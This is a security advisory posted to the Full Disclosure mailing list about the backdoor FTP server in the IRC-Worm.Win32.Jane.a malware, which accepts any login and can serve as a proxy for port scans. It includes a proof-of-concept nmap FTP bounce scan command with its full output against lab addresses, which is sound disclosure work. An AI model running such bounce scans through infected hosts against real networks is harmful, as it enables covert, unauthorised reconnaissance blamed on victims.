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Date: Mon, 29 Mar 2021 22:30:02 -0400 From: malvuln <malvuln13@...il.com> To: fulldisclosure@...lists.org Subject: [FD] IRC-Worm.Win32.Jane.a / Authentication Bypass MITM Port Bounce Scan Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/2d1d6b0fd55eca12f58b8b6d80f8153f_B.txt Contact: malvuln13@...il.com Media: twitter.com/malvuln Threat: IRC-Worm.Win32.Jane.a Vulnerability: Authentication Bypass MITM Port Bounce Scan Description: The backdoor FTP server listens on TCP port 21, upon connecting the server responds with banner "JANE_FTP Server is ready to be hacked !!! thx Del_Armg0 ... ; )" making it easily identifiable. Third-party adversaries can abuse the server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. This is easily accomplished as the malware allows anyone to logon using any username password combination. Type: PE32 MD5: 2d1d6b0fd55eca12f58b8b6d80f8153f Vuln ID: MVID-2021-0152 Disclosure: 03/29/2021 Exploit/PoC: Telnet to ID the vuln JANE_FTP banner, so we can Port scan discreetly. nmap -n -Pn -b mal:vuln@....168.88.128 192.168.88.131 -p21,22,80 -v Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-29 14:20 Pacific Daylight Time Resolved FTP bounce attack proxy to 192.168.88.128 (192.168.88.128). Attempting connection to ftp://mal:vuln@....168.88.128:21 Connected:220 JANE_FTP Server is ready to be hacked !!! thx Del_Armg0 ... ; ) Login credentials accepted by FTP server! Initiating Bounce Scan at 14:20 Discovered open port 80/tcp on 192.168.88.131 Completed Bounce Scan at 14:20, 2.10s elapsed (3 total ports) Nmap scan report for 192.168.88.131 Host is up. PORT STATE SERVICE 21/tcp closed ftp 22/tcp closed ssh 80/tcp open http Read data files from: C:\Program Files (x86)\Nmap Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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